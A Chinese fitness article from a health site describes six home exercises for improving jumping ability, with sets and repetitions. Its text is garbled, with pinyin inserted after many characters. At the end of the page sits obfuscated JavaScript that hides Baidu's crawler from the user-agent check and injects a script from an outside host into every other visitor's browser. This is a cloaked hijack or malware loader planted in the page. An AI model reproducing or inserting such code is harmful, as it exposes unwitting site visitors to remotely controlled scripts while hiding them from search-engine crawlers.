當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

在家如何練彈跳呢?

2017-04-15 08:55:16  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):有的人天生彈跳力不好,所以在每次體育測(cè)試立定跳遠(yuǎn)項(xiàng)目的時(shí)候,他們都會(huì)感到很頭疼,擔(dān)心自己不能及格。但其實(shí),彈跳力是可以通過(guò)訓(xùn)練而提

有的人天生彈跳力不好,所以在每次體育測(cè)試立定跳遠(yuǎn)項(xiàng)目的時(shí)候,他們都會(huì)感到很頭疼,擔(dān)心自己不能及格。但其實(shí),彈跳力是可以通過(guò)訓(xùn)練而提高的,下面小編就給大家介紹幾種訓(xùn)練彈跳力的方法,只要大家能堅(jiān)持訓(xùn)練下去,我相信通過(guò)小編的這幾種方法一定可以提高大家的彈跳力的。

1)負(fù)重半蹲。直立,雙腿分開(kāi)等肩寬。雙手持一根健身棒置于肩膀上(如沒(méi)有,可以雙手交叉報(bào)于胸前)。然后下蹲直至大腿與地面平行。重復(fù)此動(dòng)作3組20次。 2)箭步蹲。直立,右腳在前,左腳在后。左腿膝蓋微微彎曲。然后做下蹲動(dòng)作,注意下蹲時(shí)保持平衡。每側(cè)重復(fù)3組20次。 3)拉伸動(dòng)作。直立,雙腿并攏,然后用左手拉左腳腳踝使之盡量貼近臀部,保持這個(gè)姿勢(shì)15秒,然后換另外一條腿。腿部的拉伸非常重要,可以防止鍛煉后腿部變粗,使腿部的線條流暢。 4)仰臥分腿。平躺在地板上,背部緊貼地板。

雙腿并攏向上舉起,與上體成90度角。然后最大限度分開(kāi)兩腿再合攏,重復(fù)此動(dòng)作3組30次。 5)坐姿夾球。坐在地板上,雙手至于體后,上體微微后仰。雙腿彎曲,兩膝蓋中間夾一個(gè)球,用力向內(nèi)擠壓直至力竭,松開(kāi)。重復(fù)此動(dòng)作3組,每組20次。 6)負(fù)重提踵。這個(gè)動(dòng)作你可以徒手或手持3~5磅的啞鈴來(lái)做。 踮腳尖,在最高處停留2秒,感到小腿肌群在用力,然后放下。重復(fù)此動(dòng)作3組30次。事后一定要按摩小腿,做拉伸動(dòng)作。

看完小編的介紹后,大家是不是覺(jué)得其實(shí)想提高彈跳力其實(shí)并不難。最主要的是大家能夠堅(jiān)持下去,所謂“有志者,事竟成”。還有,小編給告訴大家的是,每次訓(xùn)練前后。大家都要記得給自己的小腿進(jìn)行按摩,以免訓(xùn)練過(guò)程中拉傷或者是以后小腿會(huì)變粗。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}